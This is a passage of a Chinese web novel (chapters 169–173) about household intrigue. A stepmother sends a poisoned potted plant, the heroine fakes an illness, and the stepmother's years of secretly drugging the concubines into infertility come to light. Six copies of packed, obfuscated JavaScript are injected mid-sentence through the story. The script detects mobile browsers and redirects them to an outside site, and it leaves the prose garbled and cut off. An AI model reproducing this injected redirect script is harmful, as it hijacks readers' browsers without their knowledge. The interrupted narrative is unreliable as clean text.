当初好歹办的是自己的喜宴,现在却要她给小姑子凑嫁妆,真是好大的脸! 赵书宁似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162024|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑非笑地看着她,“母亲先把上回办喜宴的银子还了,再来谈这事。” 姜氏脸上的神色微微僵住,很快就露出不悦来。 “那是你和安儿的喜宴,你便是出了那银子又怎样?” “那清儿的嫁妆为何也要让我出?嫂子给小姑子出嫁妆,这可真是破天荒的头一回。” 姜氏纠正,“没让你出,只是向你借,待侯府宽裕了,自然还你。” 赵书宁面露冷笑,“这话你信吗?你莫不是以为我还是当初刚进门的我,会轻易被你糊弄?这笔银子,我一旦掏了,那就是肉包子打狗,有去无回。” 她的态度让姜氏有些恼怒,但还是强忍了下去。 “书宁,你要顾全大局,清儿嫁入六皇子府,是关涉侯府利益的大事,你也不想清儿一进门就被人笑话吧!” 赵书宁压根不吃她这一套。 “这既是关涉侯府利益的大事,就该由侯府上下一起出力,为何只让我一个人出银子?” “侯府上下,除了你谁有这么多银子?” 赵书宁冷声,“我的银子是我的,与旁人何干?” 姜氏气结,“你不要这么不识大体!” “我日日在贵人面前小心伺候,便是为了给侯府争脸面,这些功劳在母亲眼里全都不值一提?既如此,我也日日像母亲一样在府中躺着享清福,没必要再在外面低声下气地讨好。” 姜氏闻言脸色顿变,连忙改了口。 “母亲并非那个意思,你对侯府贡献巨大,母亲是知道的。只是……侯府的确拿不出银子,这也是没办法的事。” 赵书宁似笑非笑地看着她,“据我所知,母亲先前拿了不少银子回姜家,现在母亲手头不宽裕,回姜家去把那笔银子要回来,也不过分吧。” 姜氏手脚不干净,贪了陆知苒那么多银子,后来还回去的银子也还是侯府东拼西凑凑出来的,姜氏可是半点银子都拿不出来。 那么多银子平白消失了,赵书宁自然好生调查了一番。 姜氏脸色一僵,本想否认,但对上赵书宁那洞悉一切的目光,她到嘴的话就咽了回去。 第169章 怀了老爷的孩子 “那,那些银子都拿去做生意了,眼下还没有回头钱,本金一时半会儿也拿不回来。待生意赚了银子,自然就能有大笔的收益。” 这话姜氏自己都有些不信,但在赵书宁面前,她不想自曝其短,就只能装出一副十分有底气的样子。 赵书宁也不拆穿她,只道:“就算那笔银子暂时拿不回来,母亲便向姜家借便是。清儿是姜家的亲外甥,她飞上枝头了,姜家也跟着沾光,自然没有不借的道理。” “这……姜家怕也拿不出那么多银子。” 赵书宁出言提点,“姜家不是刚迎了新媳进门?她的嫁妆定然不少吧。” 当初陆映溪逃婚,陆家送去的嫁妆都是不值钱的东西。 后来陆映溪被追回来,还怀了身孕,方氏又命人把该有的嫁妆补全了,算下来的确十分丰厚。 姜氏闻言,心思一下就活络起来。 她早就想把当初的那笔银子要回来,但哥嫂一直推脱,哭穷,她也实在毫无办法。 赵书宁的话倒是给她提了个醒。 他们还不起,那就把陆映溪的嫁妆拿来抵扣。 婆家挪用儿媳的嫁妆自然不好听,但那也不是她该操心的,她只管拿到银子。 赵书宁点到为止,便不再多言。 她既然出了这主意,就压根不会在意陆映溪的嫁妆会不会被算计。 若当真被姜家人算计走了,那也是她自己没本事,怪不到旁人头上。 姜氏立马就派人回了姜家,去办此事。 几日后,她的脸上就多了几分笑意,楚云清的嫁妆安排妥了。 姜家果然采纳了赵书宁的提议,把陆映溪的嫁妆挪用了,而陆映溪此时恰好回了娘家,对此事压根一无所知。 这还是她出嫁之后第一次回娘家。 方氏拉着她的手,上上下下地打量,眼神中满是怜惜。 “溪儿,你在姜家过得如何?他们可有为难你?” 陆映溪眼底闪过一抹阴霾,“我这样的境遇,能过得有多好?姜星熠就是个混账!” 方氏心疼得开始抹眼泪,“我可怜的溪儿……” 陆映溪眸底闪过一抹厌烦,“好了,别哭了,现在哭有什么用?我这次回来,是有正事的。皇子马上就要选秀了,此事母亲应当知道吧。” 方氏擦掉眼泪,点了点头。 她的眼底闪过恨意,“我的人生被毁了,我也绝不能让陆知苒好过!她想飞上枝头变凤凰,我偏要毁了她的美梦!” 方氏微讶,“溪儿,你是说,陆知苒也要入宫参选?可是这怎么可能?她是二嫁之身,身子都不干净了。” 她这段时日被夺了管家权,还被禁足在知春苑内,消息都闭塞了许多。 “怎么不可能?父亲都已经把她的名字报上去了!” 这个消息,她还是从姜星熠的口中得知的。 那厮依旧对陆知苒念念不忘,提起此事时,他的语气中满是遗憾,毕竟,陆知苒一旦成了皇家人,他便是有十个胆子,也不敢染指。 “凭什么我嫁给了姜星熠那个纨绔,陆知苒却要嫁入皇家?她一个二嫁之人,凭什么!” 她咬牙切齿,面容一阵扭曲变形。 方氏心中亦是翻江倒海,满是恨意。 “溪儿,这件事交给娘,娘定不会让她如愿的!” 她的女儿过得不好,那**也休想好过! 翌日,陆知苒正在用早膳,金嬷嬷悄悄凑到她耳边,低声耳语一番,陆知苒微微挑眉。 “找机会,带她来见我吧。” 子时一刻,瑶光阁陷入了一片静谧,大家都睡下了,只有几个心腹在守夜。 金嬷嬷领着一人从角门进了瑶光阁,又快步进了陆知苒屋中。 陆知苒穿着一袭交领丝绸寝衣,乌黑如瀑的头发披散着,面上一片素净,却越发美艳绝伦。 “奴婢紫鹃见过大小姐。” 陆知苒目光淡淡地落在她的脸上。 她已有三十出头的年纪,生得不算美艳,面部线条柔和,有种令人心安的舒适感。身姿窈窕,身上的衣裳布料虽不华贵,却裁剪得体,衬得她身段玲珑有致,别有一番风味。 她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162025|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方氏的陪嫁,也是陆知苒在知春苑的暗桩。 方氏大概不会想到,她的陪嫁丫鬟,竟然会背叛她。 陆知苒居高临下地看着紫鹃,“你有事找我?” 紫鹃重重磕头,“奴婢是来向大小姐告密的,昨日二小姐回府,她与夫人密谋,想要给您下药,让您无法参加皇子妃候选。” 陆知苒闻言,内心没有太大波动。 总是有那么多人惦记着她,她是否应该感到荣幸? “这应当不是你来寻我的主要原因,说吧,你还有什么事?” 以往,她只会通过金嬷嬷传些消息,今夜她冒险前来,定是有不得不来的原因。 紫鹃的神色微顿,旋即又“砰砰砰”连连磕头。 “大小姐,您救救奴婢吧!只有您能救奴婢了。” 陆知苒眸光淡淡的,“究竟何事,你先说说,若我能救,自然不会坐视不管。” 紫鹃摸着自己的肚子,“奴婢,怀了老爷的孩子……此事若是被夫人知道,她定饶不了奴婢的!” 她曾嫁过人,但丈夫没多久就去世了,她便一直未曾再嫁。 后来,不知怎的,陆贯轩瞧上了她,二人一来二去就成了事。 紫鹃深知方氏是怎样的人,不敢要名分,只敢偷偷摸摸行事。 谁料,此事竟被陆知苒发现,以此拿捏,紫鹃不得不替陆知苒做事。 起初,她只是迫于无奈,后来,陆府的局势发生扭转,紫鹃对陆知苒就多了投靠之意,消息也传得越发尽心。 她已经有了一个多月的身孕,再过一段时间,肚子慢慢显怀,一切就都瞒不住了。 她必须为了自己和孩子谋算。 陆知苒看着她的肚子,心中并无意外。 前世,紫鹃也差不多这个时候怀了孩子。 只不过,前世的情形与今生大不相同,前世方氏并未失势,紫鹃也没有找到新的靠山,此事被方氏发现,她表面上张罗着给了紫鹃名分,但最终,紫鹃却在生产之时一尸两命。 这其中,要说没有方氏的手笔,她不信。 第170章 方氏的礼物 陆知苒语气淡淡,“你为何不去寻父亲?父亲子嗣不丰,你告诉父亲,他定会护你周全。” 紫鹃用力摇头,“老爷固然看中子嗣,但他到底不常在内宅行走,定护不住奴婢和孩子的。” 在内宅之中,要除掉一个孩子,手段数不胜数,陆贯轩并非可托付之人。 “父亲都护不住你们,我就可以?你未免太瞧得起我了。” 紫鹃满脸希冀,“奴婢相信小姐!整个陆家,除了您,无人能与夫人抗衡,只有您能救奴婢了!” 说完她就开始“砰砰砰”地磕头,磕得卖力至极。 陆知苒抬手制止了她,“要我帮你也可以,不过,你得拿出足够的诚意来。” 紫鹃连忙表忠,“大小姐若有吩咐但请开口,奴婢定义不容辞。” …… 方氏失了管家权,又被陆贯轩下令禁足反思,在侯府的处境一落千丈。 原本陆知苒的瑶光阁就防守严密,而今,她要神不知鬼不觉地给陆知苒下毒,就更难上加难。 一番思忖,她终于有了主意。 她假借生病之名,把陆君成从书院喊了回来。 她原本保养得宜的脸上现出几分苍老,整个人都没了以往的精气神,陆君成见了,不禁一阵心疼。 方氏拉着他的手,“君儿,母亲这段时日日日反省,已然意识到自己的错处,以往是母亲行事偏激,左了心性,闹得家宅不宁。” “你父亲厌了母亲,你大姐姐亦与母亲生了嫌隙,母亲现在只觉满心后悔。但母亲想要弥补却已然来不及,他们都对母亲误会颇深,只有你能帮帮母亲了。” 陆君成听了母亲反省的话,心头不禁松了口气。 但旋即又有些为难,他能帮得上什么忙? 方氏殷切地道:“你去拜见你大姐姐,在她面前替我说说好话。你大姐姐虽对我和溪儿有误会,但对你却是态度温和。你的话,她多少能听一些。” 陆君成欲言又止。 他与大姐姐,其实半点都不熟。 并非他不想与大姐姐亲近,而是他没有这个机会。 每次他一回来,母亲都对他严防死守,完全不给他与大姐姐说话的机会。 正是因此,大姐姐和离归家之后,自己都没有去看望过她。 而今,母亲对自己提出了这么一个要求,陆君成实在是左右为难。 方氏见他唯唯诺诺的样子,心里顿时来气。 但想到自己的计划,她只能压下怒意,不容置疑地道:“母亲新得了一盆盆栽,造型十分罕见,你拿着去赠与她,就说是你自己意外所得。放在房中,不仅能做观赏,还能静心凝神。” 那盆栽的确罕见,虬曲的枝条扭曲向上生长,叶片厚实油亮,枝头上挂满了红艳艳的果实,圆润饱满,像一颗颗红宝石般点缀在枝头,与深绿的叶片相映成趣。 “伸手不打笑脸人,你主动低头,她定也会给你几分薄面。” 陆君成闻言,便知自己这一趟非去不可。 他什么都没再多说,轻轻点头应了下来。 陆君成往瑶光阁的方向走去。 他走得很慢,像是在逃避着什么。 但即便再慢,也总有到的时候。 他站在瑶光阁门口,踟蹰许久都没有上前叩门。 金嬷嬷从院内走出来瞧见了他,“大少爷,您怎么来了?” 陆君成像是做错事被抓包的孩子,脸上露出局促之色。 “我,我有事想找大姐姐,不知她是否方便?” “大少爷您先里边请,奴婢去给您通传一声。” 陆君成很快见到了陆知苒,她穿着一袭家常素面长裙,头发只简单挽了个髻,以一支玉簪固定,几缕发丝自然垂落,越发透出一股慵懒与随性。 陆君成低头,恭敬行礼。 “见过大姐姐。” 陆知苒朝他露出一抹笑,“君儿回来了?我记得今日似还没到休沐的日子。” 她温和的话语让陆君成紧绷的心稍稍放松几分。 “母亲病了,我回来探望。” 陆知苒点了点头,“你素来是个孝顺孩子。” 陆君成鼓起勇气开口,“大姐姐,母亲某些事情若是做得不妥,我代她向你赔不是,还请你莫要与她一般见识。” 陆知苒语气依旧温和,“我与母亲是一家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162026|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一家人之间就算当真有什么,也都是小事,如何会放在心上?更何况,我身为小辈,就更没有与长辈计较的道理。” 陆君成闻言,眼底闪过一抹欣喜的光。 “我便知道,大姐姐不是那样的人,是母亲多心了。” 陆知苒但笑不语。 他命小厮把那盆盆栽端上前,“大姐姐,这是……是母亲让我给你送来的,她有心向你低头,只是拉不下脸面。这盆栽虽不值什么钱,但也是母亲的一番心意,还请大姐姐收下。” 陆君成十分贴心地把盆栽的功劳归到了自己母亲的头上,一脸诚挚地看着陆知苒。 陆知苒微微挑眉,看向那盆栽,旋即让翠芙接了过去。 “这既是母亲的心意,我自然没有不收的道理。不过,母亲应当不希望我知道这是她所赠,到底有些损了她的颜面,此事你在她面前亦不要提及。” 陆君成不疑有他,连连点头。 “的确,方才母亲还交代我,只说是我意外所得之物。” 陆知苒幽幽道:“我既知这是她所赠,这份情自然记下了,日后定会想法子好生回礼。” “大姐姐与母亲能冰释前嫌,那就再好不过了。” 陆知苒淡淡一笑。 办完了正事,陆君成便有些不知道说什么,没话找话地瞎扯了几句,就实在词穷了。 陆知苒道:“君儿,家中之事无需你多操心,你只管好好读书,考取功名,方为正途。” 陆君成连忙点头。 “我定铭记大姐姐的教诲!” 陆知苒留他用膳,他婉拒了。 目送他离开,陆知苒眸光一转,看向那盆鲜艳的盆栽,唇角勾起一抹讽笑。 方氏大概想不到,陆君成性子耿直,会直接把她卖了。 翠芙和丹烟看着那盆栽,如临大敌。 “小姐,夫人特意把这东西送来,定然不安好心,奴婢这就把它处理了。” 陆知苒摇头,“不必,你们把那些果子摘了,再寻些类似的果子来装饰一番,先把这出戏唱完再作处理。” 这盆栽的确有问题,那些圆润漂亮的果子便是问题的关键。 第171章 邪祟入体 那些果子十分漂亮,但却会释放毒性。 当它遇到紫草时,毒性会急速发酵,让人一病不起,严重者,或可致命。 陆知苒喜欢紫草的味道,她的胭脂必加此物,这一点,早在尚未出阁前方氏便已知晓。 她“好心”送了这么一盆盆栽来,其心可诛。 方氏不仅仅是要阻止自己入宫参选,还想要了她的性命。 害人者,终将害己。 很快,她就会让方氏为自己的所作所为付出代价。 翠芙好奇道:“小姐,您对大少爷好像挺不错的。您难道对他心中没有芥蒂吗?” 陆知苒摇头,“他与方氏不同。” 丹烟也跟着道:“奴婢也觉得,大少爷品性端方耿直,与夫人和二小姐都不是一路人。” 他们当然不是一路人,因为…… 陆知苒笑了笑,没再多言。 陆君成回到知春苑,方氏期盼地看着他,“怎样,她收下没有?” 陆君成脸上带着笑意,“收下了,大姐姐让丫鬟摆在了卧房。大姐姐还说,与母亲是一家人,一家人没有隔夜仇。母亲,大姐姐是识大体之人,你们只需要把误会解除,日后定能和睦相处。” 方氏听了前半段,脸上露出了一抹诡异的笑。 “以后,我定与她和睦相处!” 反正她很快就没几天活头了,自己便是装装样子又何妨? 陆君成把事情办成了,方氏便又换了一副态度。 “以后没事你少回来,给我专心在书院念书。明年你便要下场参加科考,你定要给我考个举人回来,不然,我饶不了你。” 陆君成脸上的笑意僵住,方才的轻松闲适一扫而空,整个人又瞬间紧绷起来。 “是,母亲,孩儿定会努力的。” 方氏淡淡摆手,“去吧。” 陆君成告退离去。 几日后,瑶光阁就传出消息,陆知苒病倒了。 原本只以为是寻常的小病,但没想到越病越严重,最后连床都下不来了。 陆贯轩听说此事,唬了一跳。 好端端的,怎会突然病了? 眼看还有不到半月就是入宫参选的时候了,她这时病倒了,若耽搁了参选可如何是好? 他立马去了瑶光阁,见到陆知苒的状态,他心里狠狠咯噔了一下。 陆知苒的面容惨白,脸颊瘦了一圈,躺在床上,连睁开眼皮都显得分外艰难。 “这是怎么一回事?你们这些人,就是这么伺候大小姐的?” 翠芙和丹烟等一众丫鬟齐齐跪下请罪。 顾不上问责她们,陆贯轩赶紧入宫请了太医。 接连请了几位太医,都对此束手无策,连蒋老太医都觉得她的脉象古怪,诊断不出所以然来。 陆贯轩只觉得天都塌了。 她可是陆家振兴的希望啊,她若是这么**,以后陆家靠谁? 陆知苒病倒,方家的庶务又交回到方氏的手里,她的禁足自然也解除了。 她也站在陆贯轩身侧,一副十分担忧的模样,实际上,她唇角的笑意都快压不住了。 这时,金嬷嬷小声道:“老爷,大小姐她,会不会是中邪了?” 陆贯轩一愣,旋即恼怒,“胡说八道些什么!” 金嬷嬷哽咽道:“大小姐前几日还好端端的,突然就倒下了,还病得这般严重,连太医也诊不出问题来,除了邪祟入体,老奴实在想不出其他缘由啊。” 陆贯轩的心里也不禁打起鼓来。 抱着宁可信其有,不可信其无的念头,他还是去请了一位道士,到家中施法。 那道士一番做法,面上满是凝重之色。 “贵府有脏东西,平乐县主被脏东西缠上了,才会一病不起。若是不把脏东西找出来,只怕,县主性命难保啊!” 陆贯轩闻言,脸色骤变。 “你,你可确定?” 那道士一脸高深莫测,“贫道从不打诳语。大人若是不信,尽可派人去搜,若是搜不出来,贫道任凭大人处置。” 陆贯轩的脸色几经变化,“若当真找出了那邪祟,她就能马上好起来吗?” 那道士一捋胡须,笃定地点头。 “没错,邪祟一除,县主定能立马好起来。” 方氏闻言,唇角勾起讥诮的弧度。 这老道士可真是睁着眼睛说瞎话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162027|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候什么都搜不出来,看他如何收场。 陆贯轩依旧有些犹疑,兴师动众地搜查邪祟,传出去陆家的名声也不好听。 那道士幽幽道:“大人,邪祟不除,必会影响陆家家宅,甚至,会影响陆大人您的身体。届时,一切可就都晚了。” 陆贯轩浑身一个激灵,心中的最后一丝犹豫也消失了。 “那请问大师,邪祟在哪个方位?” 道士掐着手指算了算,凝重地蹙眉。 “陆大人,贵府的邪祟不简单,不止一处啊。除了县主所居的这处院子,贵府东面方向更有不止一处邪祟。” 陆贯轩面色惊疑不定。 东面?那是府邸后院处,住的都是他的妾室。 难道,是那些女人不安分,竟然蓄意谋害苒姐儿? “请陆大人带路,贫道要去亲自会一会它们。” 这一夜,整个陆府都热闹起来。 几个姨娘所居的东院被人团团围住,火把将整个院子照得亮如白昼。 一众姨娘们战战兢兢地在院中站着,大家都不知发生了何事。 陆贯轩有六房姨娘,算不得多,都是早年纳的。 这些姨娘全都无所出,陆贯轩曾找大师批过命,那大师称他曾犯下孽障,是以子嗣艰难。 后来,他在洛氏曾经居住的院中搜出诅咒之物,陆贯轩大怒,把洛氏的牌位都砸了。 若非族老阻拦,他差点把洛氏移出陆家族谱。 这么多年,他就只有陆君成一个嫡子,一众姨娘都半点动静都没有,他心中对洛氏的怨恨更甚,慢慢的也歇了心思,连后院都少来了。 而今踏足此处,便见这院子落败荒凉,他的姨娘们也个个衣着陈旧,面容苍老,鲜见是过得不好。 苛待妾室的名头不好听,陆贯轩觉得面上挂不住,便狠狠剜了方氏一眼。 方氏最近自身都难保,哪有心思去管这些女人。 给她们一口饭吃,没让她们饿死已经是仁至义尽了。 “大师,请您做法,找一找邪祟在何处。” 那道士又闭眼掐算一番,淡淡道:“邪祟藏身于她们的卧房的盆栽处。” 第172章 绝嗣药 陆贯轩立时沉了脸,几位姨娘则是大惊失色,连声喊冤。 陆贯轩根本不予理会,立马派人去把脏物搜出来。 方氏本是冷笑着看戏,但看到下人从几位姨娘房中搜出来的盆栽时,她的面色微微凝滞片刻。 “大师,可是这些东西?” 那大师看了一眼,又闭上眼睛,一副高深莫测的模样。 “熏炉底座下,床底下,还有其他邪祟。” 陆贯轩立马再次派人搜查,果然,在熏炉底座和床底下,都搜出了东西。 六个姨娘看着这些落满灰尘的东西,都傻眼了。 她们的屋子里何时有这些东西?为何她们自己都不知道?这些究竟是什么? 陆贯轩怒喝,“说!这些,究竟是何物?你们胆敢沾染邪祟,简直是吃了熊心豹子胆了!” 姨娘们连连磕头求饶。 “老爷明鉴,妾身是冤枉的,妾身根本不知道那究竟是何物啊。” “对啊,妾身也是头一次见到这些东西,可,可那究竟是何物,妾身根本不知道啊。” 陆贯轩只觉得她们在狡辩。 没想到,方氏竟主动开口,替她们解释。 “老爷,妾身以为,此事多半与苒姐儿的病无关,您瞧那些东西,落满了灰尘,少说也有好几年了,苒姐儿的病却是最近才发,时间上对不上。” 陆贯轩眉头微锁,显然愣了一下。 几个姨娘满脸感激地看着方氏。 方氏又道:“老爷,当务之急,还是先查出苒姐儿的病因要紧,她们便容后再审也不迟。” 只要把时间拖延下去,她就有法子把这些东西销毁了。 陆贯轩还未说话,那老道士就悠悠开口,“陆大人,这些东西的确并非致使县主发病的根源,但是,它们也绝不简单。若不弄清楚,陆家的兴盛怕是要到头了。” 陆贯轩心头一凛,是了,差点被带偏了。 这些若非都是邪祟之物,大师怎能一算一个准? 此等邪祟不除,陆家只怕真的要完了。 “请大师指点!” 那老道士一甩拂尘,“陆大人不妨请府中大夫来瞧一瞧,一切疑惑自然迎刃而解。” 方氏闻言,面色更沉了几分。 这老道士当竟能一眼看穿这些是何物,他是当真道法高深,还是说…… 方氏心头升起一个可怕的猜测。 不行,绝不能让此事暴露。 方氏忙道:“老爷,妾身这便命人去请府医。” 说完,她也不等陆贯轩同意,朝紫鹃投去一记眼神,紫鹃躬身飞快地去了。 “陆大人,贫道只占卜,不参与贵府的家务事,接下来,贫道便先行回避。” 陆贯轩正有此意,便立马派人把他先请到客房稍作休息。 府医来得很快,方氏朝紫鹃投去一记询问的目光,紫鹃点了点头,方氏这才松了口气。 陆贯轩沉声吩咐,“给我好生检查一番,此为何物。” 府医恭敬应是,先是检查了一番那几盆一模一样的盆栽,然后又依次打开了那几包东西,面色顿时笼上几分凝重。 “回老爷,若老夫判断没错的话,这盆盆栽名为空蕊兰。这几包东西则是多种药材调配好的方子,其中包含虚胎花、寂脉果、断根藤几味药,若是长期接触这些东西,可令人不孕。” 府医的话落,陆贯轩的呼吸都沉了几分。 “你,你说什么?你再说一遍!” 府医低着头,又恭恭敬敬地把方才的话重复了一遍。 陆贯轩身子狠狠一晃,险些站立不稳。 几位姨娘都摸着自己肚子,神色间满是难以置信的震惊。 她们这么多年来一直无所出,原来,竟是这个原因! 方氏脸色大变,她立马看向紫鹃,眼神中满是厉色。 她是怎么办事的?竟让府医当众说了实话! 几位姨娘的目光齐刷刷地看向方氏,眸底藏着浓浓的恨意。 这事究竟是谁做的,还用猜? 其中一人朝着方氏怒声咆哮,“是你,一定是你!你给我们下药,害我们这么多年一无所出,你这个毒妇!” 一人带头,其余人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162028|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都回过神来,再顾不上什么尊卑,跟着怒声大骂,“方氏,你真是蛇蝎心肠,连老爷的子嗣也敢谋害!老爷定不会饶了你!” 方氏面色青白交错,即便心中已然慌乱至极,却不得不强作镇定。 “你们,你们胡说八道什么?我乃当家主母,为老爷子嗣着想是我的本分,我怎会对你们下药?” “我呸!这话你就留着说给你自己听吧!除了你,谁还可能做得了这样的事?” “整个陆府,除了老爷,就只有你这个主子,不是你,难道还是老爷自己给我们下的药?还是说,是前头夫人的鬼魂干的?” 她们是洛氏死后才进的门,方氏便是想攀扯洛氏都没机会。 陆贯轩终于从这巨大的打击中回过神来,心头的怒火一点点攀升,脸色变得一片铁青。 当初,他的后院迟迟没有子嗣出生,是方氏替他寻了那所谓高人,在洛氏的院中挖出了那脏东西。 这么多年,他也一直把此事归咎在洛氏的诅咒上。 今日方知,他简直错得离谱! 陆家的确有脏东西,但却不是洛氏留下的诅咒之物,而是这些姨娘院子里,能致人不孕的东西! 当初,他迎了方氏进门,对她百般宠爱,府中之事也尽数交给她打理,这事除了她,还能是谁做的? 想到自己本可以子嗣丰沛,而今却只得了陆君成一个儿子,陆贯轩就怒火中烧。 他扬起手,狠狠地给了方氏一记耳光。 “**!枉费我这般信任你,你就是这么回报我?” 方氏被打得半边脸瞬间麻了,耳朵也一阵嗡嗡作响。 “老爷,妾身冤枉……” 她不能承认,死也不能承认! 然而,就在这时,紫鹃突然跪下,朝陆贯轩连连磕头。 “老爷,奴婢向您检举,此事的的确确是夫人所为!” 方氏瞬间瞪大了眼睛,眸中满是不可置信。 “紫鹃,你疯了!” 这个**,她敢背叛自己?她难道忘了自己的**契都捏在谁的手里了? 第173章 又着了她的道 紫鹃却看都不看她,自顾自地开口。 “夫人为了贤惠之名,这才主动给老爷纳妾,但夫人内心十分善妒,不能容忍旁人生下老爷的子嗣。她不仅在姨娘们的院中藏了这些致人不孕的毒物,便是每次老爷来时,屋中燃的熏香,也是动了手脚的。如此数管齐下,姨娘们果然毫无动静……” 方氏怒骂,“**,你再敢胡说八道,看我不撕了你的嘴!” 紫鹃不管不顾,“奴婢没有胡说八道,奴婢有证据。夫人的房中还有方子,就藏在夫人衣柜角落的红漆木匣子里,老爷可以派人去取。” 方氏闻言瞬间瞪大了眼睛。 她的衣裳首饰,都是紫鹃在替自己打理,她更是完全不记得那方子的存在。 这**敢当众站出来指认自己,定是因她有十足的把握,那方子,只怕真的保留至今,未曾销毁! 一瞬间,方氏只觉得一股寒气从脚底蹭地往头上蹿,整个人几乎站立不稳。 她一双眼睛恨恨地盯着紫鹃,恨不得将她生吞了。 “紫鹃,我待你不薄,你为何要这般陷害我!究竟是谁收买了你?” 紫鹃一脸决绝,“夫人,并没有人收买奴婢,奴婢只是良心不安,这才站出来揭发。” 方氏气得呕血。 这个**,待此事过后,定要狠狠扒了她的皮! 陆贯轩派去的人很快捧回来了一个匣子,那匣子应当许久都没有打开过,上面落满了灰尘。 陆贯轩命人打开,里面果然有一张方子。 时日久远,纸张都有些微泛黄,陆贯轩小心拿起,边角碎屑簌簌掉落。 上面的字迹也已经模糊不清,他只能瞪大了眼睛,努力辨认。 足足过了一盏茶的时间,他才愤怒地一把将那方子捏碎。 他分明看清楚了,那上面清清楚楚写着方才府医提到的几种药材! “**!” 方氏无力地辩解,“妾身冤枉,老爷,妾身真的冤枉啊!” “人证物证都摆在你面前,你还有什么好冤枉的?这张方子年代已久,根本不是人为可以伪造的。” 方氏伸手指向紫鹃,恨声道:“老爷,是她,是这**做的!妾身的那些东西都是她负责打理,她完全有机会动手!” 陆贯轩大怒,“事到如今你还在狡辩!方氏,我对你实在太失望了!来人……” 陆贯轩的话还没说完,就有一道通禀声传来。 “大小姐到!” 众人皆是一愣,就见方才还一病不起的陆知苒,此刻正被丫鬟搀扶着缓步而来。 她的脸色依旧苍白,但不再似方才那般满脸死灰,而是多了一丝生气。 方氏看到陆知苒,哪里还有什么不明白? 自己这是又着了她的道了! 什么重病不起,不过是做给自己看的一场戏罢了。 方才那老道士,也定是陆知苒提前收买的。 她立马调转枪头,直指陆知苒。 “是你,是你设计的这一切,对不对?你分明没有病,却故意装病,就是为了往我头上扣屎盆子!” 陆知苒目光幽幽的,“母亲说我装病,莫不是在怀疑太医们的医术?我之所以能立马好起来,是因为邪祟已经找到了。” 方氏的心里又是重重一咯噔。 丫鬟端着那盆熟悉的盆栽上前,方氏心中最后一丝侥幸也没了。 “父亲,这盆栽,是前几日母亲让君儿给我送来的,摆在卧室里,说是能静心凝神。但方才,丫鬟却在这盆栽底部挖出了这个。” 丹烟端着一个托盘上来,那托盘上赫然放着一个木偶娃娃! 旁边还有几根针和一张写着生辰八字的布条。 所有人都倒吸凉气。 陆知苒语气冰冷,“便是这小小的木偶娃娃,险些害了女儿的性命。丫鬟们把上面的针拔掉之后,女儿很快就醒了过来,由此可见,这邪术究竟有多歹毒。” 方氏眼珠子都瞪了出来。 “不,不是这样的,我明明没有……” 她的话说到一半就卡壳了。 她要如何解释?难道要说,她没有用巫蛊之术,她的本意是用借着这盆栽的毒性,把陆知苒毒死?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 